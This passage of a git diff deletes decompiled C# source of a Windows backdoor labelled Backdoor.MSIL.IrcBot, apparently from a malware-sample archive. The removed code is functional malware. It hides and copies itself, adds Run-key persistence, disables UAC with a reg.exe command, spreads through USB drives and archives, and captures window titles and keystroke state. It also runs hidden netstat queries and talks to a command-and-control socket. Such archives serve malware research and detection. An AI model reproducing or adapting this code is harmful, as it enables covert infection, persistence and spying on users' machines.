Conversions.ToString(Process.GetCurrentProcess().Id)); - } - - public virtual BackgroundWorker B - { - get => this._B; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => this.D()); - if (this._B != null) - this._B.DoWork -= workEventHandler; - this._B = value; - if (this._B == null) - return; - this._B.DoWork += workEventHandler; - } - } - - public void D() - { -label_0: - try - { - File.WriteAllText(this.u, this.z); - A.fj.StartInfo.FileName = this.u; - A.fj.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - do - { - try - { - ref byte[] local1 = ref C.Plug; - string str1 = "plugin.C"; - ref string local2 = ref str1; - string str2 = "Fwd"; - ref string local3 = ref str2; - object obj = (object) new object[1] - { - (object) "Windows Script Host" - }; - ref object local4 = ref obj; - if (Operators.ConditionalCompareObjectGreater(C.inv(ref local1, ref local2, ref local3, ref local4), (object) 0, false)) - { - A.fj.Kill(); - try - { - File.Delete(this.u); - return; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - } - while (!A.fj.WaitForExit(100)); - goto label_0; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/API.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/API.cs deleted file mode 100644 index fc2a987e..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/API.cs +++ /dev/null @@ -1,281 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.API -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.MyServices; -using n.My; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Runtime.InteropServices; -using System.Text; - -namespace n -{ - [StandardModule] - internal sealed class API - { - private const uint LOCALE_SYSTEM_DEFAULT = 1024; - private const uint LOCALE_SABBREVCTRYNAME = 7; - - public static string fx(ref Array A) - { - string str1; - try - { - foreach (object obj in A) - { - string str2 = Conversions.ToString(obj); - bool flag; - if (Strings.InStr(str2, "Local Address") > 0) - flag = true; - else if (flag) - { - string str3; - if (Operators.CompareString(str2, "", false) == 0) - { - str1 = Strings.Mid(str3, 1, str3.Length - 1); - break; - } - do - { - str2 = Strings.Replace(str2, " ", " "); - } - while (Strings.InStr(str2, " ") > 0); - string[] strArray = Strings.Split(str2); - string str4; - try - { - str4 = Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\")[Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\").Length - 1] + ":" + strArray[5]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Process.GetProcessById(Conversions.ToInteger(strArray[5])).ProcessName + ":" + strArray[5]; - ProjectData.ClearProjectError(); - } - str3 = str3 + str4 + "," + strArray[1] + "," + strArray[2] + "," + strArray[3].ToLower().Replace(MyProject.Computer.Name.ToLower(), "127.0.0.1") + "," + strArray[4] + "!"; - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return str1; - } - - public static string Gt() - { - Process process = Process.Start(new ProcessStartInfo() - { - UseShellExecute = false, - RedirectStandardError = true, - RedirectStandardInput = true, - RedirectStandardOutput = true, - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - FileName = "cmd" - }); - process.StandardInput.WriteLine("netstat -o"); - process.StandardInput.WriteLine("exit"); - StreamReader streamReader = new StreamReader(process.StandardOutput.BaseStream); - Array A = (Array) Strings.Split(process.StandardOutput.ReadToEnd(), "\r\n"); - return API.fx(ref A); - } - - public static byte[] ZIP(byte[] Byt, ref bool Compress) - { - if (Compress) - { - MemoryStream memoryStream = new MemoryStream(); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true); - gzipStream.Write(Byt, 0, Byt.Length); - gzipStream.Dispose(); - memoryStream.Position = 0L; - byte[] buffer = new byte[(int) memoryStream.Length + 1]; - memoryStream.Read(buffer, 0, buffer.Length); - memoryStream.Dispose(); - return buffer; - } - MemoryStream memoryStream1 = new MemoryStream(Byt); - GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] buffer1 = new byte[4]; - memoryStream1.Position = memoryStream1.Length - 5L; - memoryStream1.Read(buffer1, 0, 4); - int int32 = BitConverter.ToInt32(buffer1, 0); - memoryStream1.Position = 0L; - byte[] array = new byte[int32 - 1 + 1]; - gzipStream1.Read(array, 0, int32); - gzipStream1.Dispose(); - memoryStream1.Dispose(); - return array; - } - - public static string FEN(byte[] data) => Convert.ToBase64String(data); - - public static byte[] FDE(string base64) => Convert.FromBase64String(base64); - - public static string ENB(ref string s) => Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - - public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s)); - - [DllImport("kernel32.dll")] - private static extern int GetLocaleInfo( - uint Locale, - uint LCType, - [Out] StringBuilder lpLCData, - int cchData); - - private static string Gcc(uint lInfo) - { - StringBuilder lpLCData = new StringBuilder(256); - int localeInfo = API.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity); - return localeInfo > 0 ? lpLCData.ToString().Substring(0, localeInfo - 1) : string.Empty; - } - - public static string Gc() => API.Gcc(7U); - - public static string A0() - { - RegistryProxy registry = MyProject.Computer.Registry; - string str1 = B.PC + "\r\n"; - string str2; - try - { - str2 = str1 + API.Gc() + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str2 = str1 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str3; - try - { - str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str3 = str2 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str4; - try - { - foreach (string valueName in MyProject.Computer.Registry.CurrentUser.GetValueNames()) - { - if (Operators.CompareString(valueName, "p", false) == 0) - { - str4 = str3 + "Yes\r\n"; - goto label_12; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - str4 = str3 + "No\r\n"; -label_12: - string Expression = str4 + B.ver; - string str5; - try - { - str5 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " "); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str5 = Expression + "X\r\n"; - ProjectData.ClearProjectError(); - } - return str5 + "\r\n \r\n "; - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string A1(ref bool p) - { - string str1; - try - { - IntPtr foregroundWindow = API.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str1 = ""; - } - else - { - int windowTextLength = API.GetWindowTextLength((long) foregroundWindow); - string str2 = Strings.StrDup(windowTextLength + 1, "*"); - API.GetWindowText(foregroundWindow, ref str2, windowTextLength + 1); - int lpdwProcessID; - API.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str1 = API.ENB(ref str2); - } - else - { - try - { - string mainWindowTitle = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - str1 = API.ENB(ref mainWindowTitle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = API.ENB(ref str2); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = ""; - ProjectData.ClearProjectError(); - } - return str1; - } - - public class wd - { - public const int HIDE = 0; - public const int Normal = 1; - public const int Minimized = 2; - public const int Maximized = 3; - public const int Show = 5; - public const int RESTORE = 9; - public int hWnd; - - public static void G(ref int hwd, ref int A) => API.wd.ShowWindow(hwd, A); - - [DllImport("User32")] - public static extern int ShowWindow(int hwnd, int nCmdShow); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/AssemblyInfo.cs deleted file mode 100644 index d6825f03..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.cs deleted file mode 100644 index 44b3628f..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.cs +++ /dev/null @@ -1,1309 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.B -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class B : Form - { - private IContainer components; - [AccessedThroughProperty("fs")] - private FileSystemWatcher _fs; - public static bool Fw = false; - public static bool FT = false; - public static bool netsh; - public static bool isFT; - public static bool KON; - public static string Vname = "VmljdGlt"; - public static RegistryKey Nkey; - public static bool DS; - public static string PC = "X"; - public static string ver = "1.4.8"; - public static string exename; - private string LA; - public static bool ISEND; - public A BW; - public static bool Busy; - public static bool Rec; - public static string XRec = ""; - public static int ms; - [AccessedThroughProperty("WC")] - private SocketsClient _WC; - [AccessedThroughProperty("wL")] - private System.Windows.Forms.Timer _wL; - [AccessedThroughProperty("k")] - private System.Windows.Forms.Timer _k; - public static string no = "127.0.0.1:7"; - public static string Ai; - public static string SU = "*"; - public static bool UU; - public static string Uo = "*"; - public static string Ui = "*"; - public static string spread = "*"; - public static string mU = "*"; - public static string FR; - public static string Cht; - private int c2; - private int cc; - private int c0; - public static Mutex jMutex; - public static chat Chat; - private string IP; - private static string[] Block = new string[1000000]; - private static int inx; - private static int err; - - public B() - { - this.FormClosing += new FormClosingEventHandler(this.B_FormClosing); - this.Load += new EventHandler(this.B_Load); - this.BW = new A(); - this.WC = new SocketsClient(); - this.wL = new System.Windows.Forms.Timer(); - this.k = new System.Windows.Forms.Timer(); - this.InitializeComponent(); - } - - [STAThread] - public static void Main() => Application.Run((Form) MyProject.Forms.B); - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.fs = new FileSystemWatcher(); - this.fs.BeginInit(); - this.SuspendLayout(); - this.fs.IncludeSubdirectories = true; - this.fs.SynchronizingObject = (ISynchronizeInvoke) this; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(10, 10); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (B); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.WindowState = FormWindowState.Minimized; - this.fs.EndInit(); - this.ResumeLayout(false); - } - - internal virtual FileSystemWatcher fs - { - get => this._fs; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - FileSystemEventHandler systemEventHandler = new FileSystemEventHandler(this.fs_Created); - if (this._fs != null) - this._fs.Created -= systemEventHandler; - this._fs = value; - if (this._fs == null) - return; - this._fs.Created += systemEventHandler; - } - } - - public virtual SocketsClient WC - { - get => this._WC; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - SocketsClient.onDataArrivalEventHandler arrivalEventHandler = new SocketsClient.onDataArrivalEventHandler(this.W3); - SocketsClient.onDisconnectEventHandler disconnectEventHandler = new SocketsClient.onDisconnectEventHandler(this.W2); - SocketsClient.onErrorEventHandler errorEventHandler = new SocketsClient.onErrorEventHandler(this.W1); - SocketsClient.onConnectEventHandler connectEventHandler = new SocketsClient.onConnectEventHandler(this.W0); - if (this._WC != null) - { - this._WC.onDataArrival -= arrivalEventHandler; - this._WC.onDisconnect -= disconnectEventHandler; - this._WC.onError -= errorEventHandler; - this._WC.onConnect -= connectEventHandler; - } - this._WC = value; - if (this._WC == null) - return; - this._WC.onDataArrival += arrivalEventHandler; - this._WC.onDisconnect += disconnectEventHandler; - this._WC.onError += errorEventHandler; - this._WC.onConnect += connectEventHandler; - } - } - - public virtual System.Windows.Forms.Timer wL - { - get => this._wL; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = (EventHandler) ((a0, a1) => this.wL_()); - if (this._wL != null) - this._wL.Tick -= eventHandler; - this._wL = value; - if (this._wL == null) - return; - this._wL.Tick += eventHandler; - } - } - - public virtual System.Windows.Forms.Timer k - { - get => this._k; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._k = value; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vKey); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetProcessWorkingSetSize( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - public static void E() - { - try - { - while (true) - { - do - { - Thread.Sleep(10000); - GC.Collect(); - GC.WaitForPendingFinalizers(); - } - while (Environment.OSVersion.Platform != PlatformID.Win32NT); - B.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void CL() - { - B.KON = false; - B.Busy = false; - try - { - chat.clos = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void B_FormClosing(object sender, FormClosingEventArgs e) - { - if (e.CloseReason == CloseReason.WindowsShutDown) - ProjectData.EndApp(); - else - e.Cancel = true; - } - - public void R() - { - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance1 = (Array) System.IO.File.ReadAllBytes(Application.ExecutablePath); - int num1 = Instance1.Length - 400; - int num2 = Instance1.Length - 1; - for (int index = num1; index <= num2; ++index) - { - int num3; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) (index - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) (index - 2) - }, (string[]) null)))), "***", false) == 0) - num3 = index + 1; - int num4; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) (index - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) (index - 2) - }, (string[]) null)))), "^^^", false) == 0) - num4 = index - 3; - if (num3 > 0 & num4 == 0) - memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null))); - } - byte[] array1 = memoryStream1.ToArray(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(array1, 1, array1.Length - 3); - Encoding encoding = Encoding.Default; - byte[] array2 = memoryStream2.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(array2, ref local); - Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), IND.Y); - B.no = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 0 - }, (string[]) null)); - B.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 1 - }, (string[]) null)); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null), (object) "*", false)) - { - B.Ai = "*"; - } - else - { - B.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[0]; - if (Operators.CompareString(B.Ai, Application.ExecutablePath, false) != 0) - { - try - { - if (System.IO.File.Exists(B.Ai)) - System.IO.File.Delete(B.Ai); - System.IO.File.Copy(Application.ExecutablePath, B.Ai, true); - try - { - System.IO.File.SetAttributes(B.Ai, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[2][0]), "T", false) == 0) - { - string ai = B.Ai; - string executablePath = Application.ExecutablePath; - string arguments = "Kill@" + API.ENB(ref executablePath); - Process.Start(ai, arguments); - } - else - Process.Start(B.Ai); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.EndApp(); - ProjectData.ClearProjectError(); - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 3 - }, (string[]) null), (object) "^", false)) - B.UU = true; - if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)), "*") == 0) - { - B.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)); - new Thread((ParameterizedThreadStart) (a0 => USB.USb(Conversions.ToString(a0)))).Start((object) B.Uo); - B.spread = "(" + B.Uo + ")USB,"; - } - B.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 5 - }, (string[]) null)); - try - { - Mutex.OpenExisting(B.mU); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - B.jMutex = new Mutex(true, B.mU); - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null), (object) "*", false)) - { - B.spread += "Rar,Zip"; - B.Ui = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null)); - this.fs.Path = Interaction.Environ("homedrive") + "\\"; - this.fs.EnableRaisingEvents = true; - } - } - B.Fw = Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 9 - }, (string[]) null), (object) "^", false); - Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - B.Nkey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null)), true); - B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 7 - }, (string[]) null)))); - } - - private void B_Load(object sender, EventArgs e) - { - try - { - B.exename = Process.GetCurrentProcess().ProcessName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.exename = "!"; - ProjectData.ClearProjectError(); - } - try - { - Control.CheckForIllegalCrossThreadCalls = false; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - byte[] plugin = n.My.Resources.Resources.plugin; - bool flag = false; - ref bool local = ref flag; - C.Plug = API.ZIP(plugin, ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - B.PC = Environment.MachineName + "\\" + Environment.UserName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Hide(); - this.Visible = false; - B.Rec = false; - try - { - string Expression = Interaction.Command(); - if (Expression.Length > 0) - { - Array Instance1 = (Array) Strings.Split(Expression, "@"); - object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false)) - { - Thread.Sleep(100); - try - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))).Kill(); - foreach (Process process in Process.GetProcessesByName("wscript")) - { - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - System.IO.File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false)) - Thread.Sleep(2000); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false)) - { - try - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - objArray2[0] = (object) local; - object[] Arguments = objArray1; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) s - }, (string[]) null, true, false); - System.IO.File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false)) - { - B.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + Application.ExecutablePath; - MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) API.ENB(ref B.FR)); - } - else - { - string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*")); - B.FR = API.DEB(ref s); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.FR = "*"; - ProjectData.ClearProjectError(); - } - try - { - this.R(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - B.SU = "*"; - B.mU = "*"; - try - { - Registry.CurrentUser.CreateSubKey("nKey"); - B.Nkey = Registry.CurrentUser.OpenSubKey("nKey", true); - B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", (object) B.Vname)); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - try - { - if (Operators.ConditionalCompareObjectEqual(B.Nkey.GetValue("FT", (object) ""), (object) "", false)) - { - B.FT = true; - B.Nkey.SetValue("FT", (object) "&"); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 4; - this.wL.Interval = 1000; - this.wL.Enabled = true; - if (B.UU) - this.BW.B.RunWorkerAsync(); - new Thread(new ThreadStart(B.E)).Start(); - try - { - Interaction.Shell("reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new Thread(new ThreadStart(B.Key.Start)).Start(); - this.con(); - } - - public void wL_() - { - this.wL.Enabled = false; - try - { - ++this.cc; - ++this.c0; - if (this.c2 < 5) - ++this.c2; - if (this.c2 == 5) - { - try - { - foreach (Process process1 in Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName)) - { - try - { - if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName)) - { - if (process1.Id != Process.GetCurrentProcess().Id) - { - try - { - process1.Kill(); - foreach (Process process2 in Process.GetProcessesByName("wscript")) - { - try - { - process2.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - if (B.Cht.Length > 0) - { - B.Chat = new chat(); - chat.clos = false; - B.Chat.nick = B.Cht; - B.Chat.Show(); - B.Cht = ""; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.Cht = ""; - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(B.SU, "*", false) != 0) - { - if (this.cc > 4) - { - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) (Application.ExecutablePath + " @..")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) Application.ExecutablePath); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 0; - } - } - try - { - if (this.WC.Connected()) - { - if 